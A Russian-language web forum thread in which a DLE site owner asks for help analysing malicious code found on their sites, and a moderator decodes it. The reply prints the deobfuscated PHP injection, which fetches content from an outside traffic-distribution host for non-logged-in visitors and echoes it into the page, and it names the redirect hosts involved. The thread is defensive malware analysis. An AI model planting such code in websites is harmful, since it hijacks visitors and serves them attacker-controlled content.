Перейти из форума на сайт.

НовостиФайловые архивы
ПоискАктивные темыТоп лист
ПравилаКто в on-line?
Вход Забыли пароль? Первый раз на этом сайте? Регистрация
Компьютерный форум Ru.Board » Интернет » Web-программирование » Вирус на DLE сайтах

Модерирует : Cheery

 Версия для печати • ПодписатьсяДобавить в закладки

Открыть новую тему     Написать ответ в эту тему

kodex77



Junior Member
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору
Тема создана для выяснения некоторых вопросов, а также для участников у которых есть сайты на движке DLE. Нашел вредоносный код на своих сайтах, который скорее всего воровал "мобильный трафик". Кто может помочь разобрать код и узнать как оно работает и куда ведет ?
 
 
1 часть кода:
Подробнее...
 
2 часть кода:
Подробнее...

Всего записей: 196 | Зарегистр. 07-04-2012 | Отправлено: 00:23 01-12-2013 | Исправлено: Cheery, 00:54 01-12-2013
Cheery



.:МордератоР:.
Редактировать | Профиль | Сообщение | Цитировать | Сообщить модератору

Цитата:
а также для участников у которых есть сайты на движке DLE.

они собираются здесь - DataLife Engine (DLE)
ps: conectBase сюда ведет (ссылка некультурная) pizdec-near.ws/conect.php?url=
 
ваш preg_replace аналогичен  
 
Подробнее...
 
то есть просто запускает это  

Код:
if(isset($_SERVER["HTTP_HOST"]) && !isset($_COOKIE['dle_user_id'])){
$host = str_replace("www.","",$_SERVER["HTTP_HOST"]);
$link = @file_get_contents('http://sweet-shadow.name/ok/tds.php?jkdptbw='.$host);
echo $link;
}

 
Пусть вас не смущает надпись на последнем сайте

Цитата:
Sorry, but this domain blocked administration.

это очевидный фейк (написанный, тем более, тем, кто не знает английского), так что можете связываться без проблем с хостером abuse@hetzner.de, если хотите.
первый сайт находится у того же хостера.

----------
Away/DND

Всего записей: 52737 | Зарегистр. 04-04-2002 | Отправлено: 00:53 01-12-2013 | Исправлено: Cheery, 01:20 01-12-2013
Открыть новую тему     Написать ответ в эту тему

Компьютерный форум Ru.Board » Интернет » Web-программирование » Вирус на DLE сайтах


Реклама на форуме Ru.Board.

Powered by Ikonboard "v2.1.7b" © 2000 Ikonboard.com
Modified by Ru.B0ard
© Ru.B0ard 2000-2024

BitCoin: 1NGG1chHtUvrtEqjeerQCKDMUi6S6CG4iC

Рейтинг.ru